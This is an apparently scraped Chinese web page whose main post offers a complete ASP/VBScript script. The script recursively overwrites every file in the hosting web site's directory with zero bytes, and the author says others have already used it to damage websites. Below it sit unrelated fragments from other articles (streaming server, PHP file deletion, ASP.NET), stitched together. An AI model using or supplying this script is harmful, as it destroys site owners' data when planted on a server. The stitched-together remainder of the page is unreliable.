自动清空站点目录下所有文件

作用:可以清空此文件所在的web站点所有文件,将文件内容清零.运行完毕所有文件大小都变成0字节.
此代码本人原创,转载请注明转自lamking.com,谢谢合作.另外程序可以扩展.

属于无聊时的作品,已经有人利用这个破坏了一些网站了.

<%
Server.ScriptTimeout=99999
If Request("Submit")<>"" Then
 Call ListFile(Server.mappath("./"))
 Response.write"清理完毕"
Else
 Response.write"<form><input type=""submit"" name=""Submit"" value=""开始清理""></form>"
End If
Function ListFile(fpath)
On Error Resume Next
 Dim Shell,Folder,s
 Set Shell =Server.CreateObject ("Shell.Application")
 Set Folder =Shell.Namespace(fpath)
 Set f=Server.CreateObject("Adodb.Stream")
  f.Type=1
  f.Open
 For Each s in Folder.Items
  IF s.isfolder Then
   Call ListFile(s.path)
  Else
   f.SaveToFile s.path,2
  End if
 Next
 Set f=Nothing
 Set Shell=nothing
End function
%>

时间: 2024-10-25 09:52:34

自动清空站点目录下所有文件的相关文章

流媒体服务器-Darwin Streaming Server如何不登陆web让其自动生成默认目录下媒体的.sdp文件

问题描述 Darwin Streaming Server如何不登陆web让其自动生成默认目录下媒体的.sdp文件 如题想让服务器运行时自动检测默认目录下的媒体并生成.sdp不需要登陆web去设置.要如何做,修改代码的换,相关的代码段在哪里,既然能用web管理媒体并生成.sdp那么也应该可以做到自动生成的,我只要MP4文件就可以,不知怎么弄

php清空(删除)指定目录下的文件,不删除目录文件夹的实现代码_php技巧

web 开发中我们可能会碰到需要将某个目录下的所有文件清空,但不删除这个目录下的子目录(当然也不会删除被删除的根目录)的情况.那么对于这种只删除文件而不删除目录的方法,你是如何处理的呢?下面博主将要和你分享一下对于这个问题的一种比较好的解决办法.看下面这个函数: /*删除指定目录下的文件,不删除目录文件夹*/ function delFile($dirName){ if(file_exists($dirName) && $handle=opendir($dirName)){ while(f

Asp.net 4.0,首次请求目录下的文件时响应很慢

原文:Asp.net 4.0,首次请求目录下的文件时响应很慢 1. 问题起因2. 尝试过的处理思路3. 解决方法   1. 问题起因     一个从VS2003(.Net Framework 1.1)升级到.net framework 4.0的项目,每次编译或者部署到服务器上后,首次请求任何一个目录下的默认页面时,都要耗时3~5秒:而以前使用.net framework 1.1的时候,没有这个问题. 我在页面上开启Trace="true"来跟踪,发现页面的处理时间并不久(IIS重启,首

编程-[求助]使用java在指定的目录下实现文件的模糊搜索

问题描述 [求助]使用java在指定的目录下实现文件的模糊搜索 一.功能要求: 用户单击"选择地址"按钮,程序自动打开文件夹选择器(如图2),用户选定用户选择目标文件夹后,输入文件名(可包含"*"表示任意连续多个字符,"?"示任意一个字符),选择文件的扩展名.程序自动获取指定目录下满足条件的所有文件,并显示在窗体中(如图1).二.关键技术: 首先获取指定目录下的文件数组,再从该数组中查询满足条件的文件.三.实现的图形用户界面如下: 解决方案 已经

单目录下多文件 makefile编写

 makefile很久就接触过了,但是一直没怎么深入的去学习和总结:在项目中我也只是看看makefile或者修改部分语句,全部自己动手写的话还真没有:知识在于沉淀,这句说的非常好,所以现在把自己理解的东西,记录下来,以便后面查阅:         这篇blog要分享的是在单目录下多文件的makefile编写,首先说明当前目录下有多少文件:fun.h   fun.c  main.c  makefile:其中*.c 文件都要依赖 *.h文件:         首先常规编译:         预处理期

winform怎么打包程序,使程序安装完成后,复制安装包同目录下的文件到安装目录

问题描述 如题,不知道我说清楚了没有,请大家不吝赐教啊 解决方案 解决方案二:解决方案右键新建项目---其他项目类型--安装和部署!把相应的DLL放进去.具体操作.自己网上找找把解决方案三:我挥泪~~~现在会普通的打包,复制安装包同目录下的文件到安装目录,这用什么实现呢,希望大家看到了,给个思路啊.是不是跟"C#项目打包,并自动安装SQL数据库"一样呢?解决方案四:新建部署项目,把你要的东西都放进去就行了解决方案五:忘了说,同目录下的文件是不固定的,解决方案六:因为文件(A)内容不固定

QQ安装目录下各文件用途分析_网络冲浪

QQ的安装目录下的文件 ACodec.dll (音频聊天) +BQQApplication.dll (企业好友面板) *CameraDll.dll (截图文件) ChatLib.dll (聊天室相关文件) ContentTab.dll (自定义面板) Content_Config.ini (跟自定义面板有关) *CQQApplication.dll (好友面板) help_01.gif~help_13.gif (跟自定义面板有关) InPlus.dll (视频语音聊天的设置对话框有关) *ips

删除指定目录下的文件及空文件夹

原文:删除指定目录下的文件及空文件夹 echo offecho 正在执行数据库备份清理及转储,执行完毕自动退出,请勿强制关机!!!rem 删除I:\BatTest\test目录下的文件及空文件夹set a=I:\BatTest\test forfiles /s /p %a% /m *.* /d -90 /c "cmd /c  echo @file | del @file" echo %a% for /f "tokens=*" %%a in ('dir /b /ad

PHP统计目录下的文件总数及代码行数(去除注释及空行)

<?php /** * @author xiaoxiao <x_824@sina.com> 2011-1-12 * @link http://xiaoyaoxia.cnblogs.com/ * @license * 统计目录下的文件行数及总文件数··去除注释 */ $obj = new CaculateFiles(); //如果设置为false,这不会显示每个文件的信息,否则显示 $obj->setShowFlag(false); //会跳过所有All开头的文件 $obj->